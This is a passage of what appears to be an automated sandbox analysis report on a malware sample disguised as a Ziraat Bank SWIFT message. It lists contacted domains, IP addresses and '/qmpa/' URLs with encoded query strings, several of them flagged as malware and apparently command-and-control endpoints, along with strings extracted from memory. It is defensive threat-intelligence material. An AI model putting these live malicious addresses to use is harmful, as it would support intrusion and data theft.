          http://www.notarpucarhr.com/qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8K0%Avira URL Cloudsafe
          http://www.carterandcone.comits0%Avira URL Cloudsafe
          http://www.galapagosdesign.com/staff/dennis.htmtr-tr0%Avira URL Cloudsafe
          http://www.oaksinstitute.net/qmpa/100%Avira URL Cloudmalware
          http://www.carterandcone.comsign0%Avira URL Cloudsafe
          http://www.carterandcone.comGr0%Avira URL Cloudsafe
          http://www.fontbureau.comueedl0%Avira URL Cloudsafe
          http://www.fonts.comcom0%Avira URL Cloudsafe
          www.erwgcb.top/qmpa/0%Avira URL Cloudsafe
          http://www.multimediapages.com/qmpa/100%Avira URL Cloudmalware
          http://www.carterandcone.comitse0%Avira URL Cloudsafe
          http://www.fontbureau.comdP0%Avira URL Cloudsafe
          http://www.sakkal.comP10%Avira URL Cloudsafe
          http://www.galapagosdesign.com/:0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.oaksinstitute.net
          		103.11.189.189
          		truetrueunknown
          notarpucarhr.com
          		141.136.43.229
          		truetrue
            		unknown
            www.multimediapages.com
            		38.239.92.131
            		truetrue
              		unknown
              thetrendsinfo.com
              		68.66.216.12
              		truefalseunknown
              www.thetrendsinfo.com
              		unknown
              		unknowntrue
                		unknown
                www.notarpucarhr.com
                		unknown
                		unknowntrue
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  http://www.oaksinstitute.net/qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8Ktrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.multimediapages.com/qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8Ktrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.notarpucarhr.com/qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8Ktrue
                  • Avira URL Cloud: safe
                  		unknown
                  www.erwgcb.top/qmpa/true
                  • Avira URL Cloud: safe
                  		low
                  http://www.oaksinstitute.net/qmpa/true
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.multimediapages.com/qmpa/true
                  • Avira URL Cloud: malware
                  		unknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://www.vodien.com/systray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://duckduckgo.com/chrome_newtabsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                      		high
                      https://duckduckgo.com/ac/?q=q3W1-4699.10.drfalse
                        		high
                        http://www.vodien.com/singapore-email-hosting.phpsystray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://www.carterandcone.com69Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300950320.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301645997.0000000006031000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.fontbureau.com/designersZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304677827.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.fontbureau.commsedYZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.carterandcone.comFHZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.carterandcone.comhy/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.coml1Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.sajatypeworks.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.founder.com.cn/cn/cTheZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/0Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.galapagosdesign.com/DPleaseZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/Y0Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.urwpp.deDPleaseZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/$Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303167686.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303077151.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303316822.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303418082.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303007184.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.zhongyicts.com.cnZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/YZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302803561.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302950130.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/ryZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.comicuZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.galapagosdesign.com/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.carterandcone.compeZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/SZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.sajatypeworks.comegrZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/PZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/Y0PZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=q3W1-4699.10.drfalse
                              		high
                              https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                		high
                                http://www.carterandcone.comlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.carterandcone.coml-B(Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		low
                                http://www.founder.com.cn/cntsP=Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299462548.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.jiyu-kobo.co.jp/xZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.com/designers/frere-user.htmlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.zhongyicts.com.cnVZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.zhongyicts.com.cno.zZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.jiyu-kobo.co.jp/lZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://www.fontbureau.comalicgZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.founder.com.cn/cntsP=txZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299447483.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.fontbureau.coma$Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		low
                                  http://www.fontbureau.com/designersHZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304189881.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.sajatypeworks.comegrjJHZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297615331.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.fontbureau.com/designersGZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.carterandcone.comreZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.fontbureau.com/designers/?Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.founder.com.cn/cn/bTheZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
